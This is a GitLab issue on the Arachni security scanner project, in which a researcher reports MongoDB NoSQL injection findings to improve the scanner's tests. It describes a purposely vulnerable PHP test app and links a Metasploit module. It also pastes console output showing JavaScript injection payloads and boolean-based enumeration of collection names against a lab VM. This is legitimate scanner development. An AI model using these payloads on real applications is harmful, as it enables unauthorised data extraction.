Skip to content
GitLab
Projects Groups Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • A arachni
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 125
    • Issues 125
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 8
    • Merge requests 8
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Infrastructure Registry
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • Arachni - Web Application Security Scanner Framework
  • arachni
  • Issues
  • #437
Closed
Open
Issue created Jun 07, 2014 by Administrator@rootContributor

NoSQL injection testing

Created by: brandonprry

So, doing some research and coding tonight, I have found some things that are interesting in regards to NoSQL injections (with mongoDB).

I wrote a small PHP app that was susceptible to a similar vulnerability that I had recently found in an un-named piece of software. https://gist.github.com/brandonprry/c2de8ac2be825007c4de

See example three of the official PHP examples for the inspiration for this code: http://www.php.net//manual/en/mongocollection.find.php

You can start it with 'php -S', just make sure you have the mongodb drivers installed for PHP.

You should also fill up the collection being used with a bit of data, doesn't matter what it looks like.

I decided to write a Metasploit module to PoC exploiting an injection like this, but realized that my Ubuntu VM, while still technically vulnerable, had been crippled in version 2.4 (good for mongodb). The 'db' object that was available to javascript prior to this release would allow an attacker to exfil data via boolean attacks. Access to this object has been removed in version 2.4. I ended up installing version 2.2.7 in a CentOS VM.

You can get the metasploit module here. I detailed some payload syntaxes that won't work on this application, but figured would be good to bring up. I think what is happening should make sense to you, but if not, I am an open book.

https://gist.github.com/brandonprry/4f150364621b0515c0fe

msf auxiliary(nosql_injection_collection_enum) > show options

Module options (auxiliary/gather/nosql_injection_collection_enum):

   Name       Current Setting            Required  Description
   ----       ---------------            --------  -----------
   Proxies                               no        Use a proxy chain
   RHOST      192.168.1.128              yes       The target address
   RPORT      8080                       yes       The target port
   TARGETURI  /index.php?age=50[NoSQLi]  yes       Full vulnerable URI with [NoSQLi] where the injection point is
   VHOST                                 no        HTTP server virtual host

msf auxiliary(nosql_injection_collection_enum) > run

[*] Testing ";return+true;var+foo="
[*] Testing ';return+true;var+foo='
[*] Testing '||this||'
[*] Testing "||this||"
[*] Testing ||this
[*] Looks like ||this works
[*] Getting length of the number of collections.
[*] 2 collections are available
[*] Getting collection names
[*] Getting length of name for collection 0
[*] Length of collection 0's name is 9
[*] Getting collection 0's name
[*] Collections 0's name is phpmanual
[*] Getting length of name for collection 1
[*] Length of collection 1's name is 14
[*] Getting collection 1's name
[*] Collections 1's name is systemindexes
[*] Auxiliary module execution completed
msf auxiliary(nosql_injection_collection_enum) > 
Assignee
Assign to
Time tracking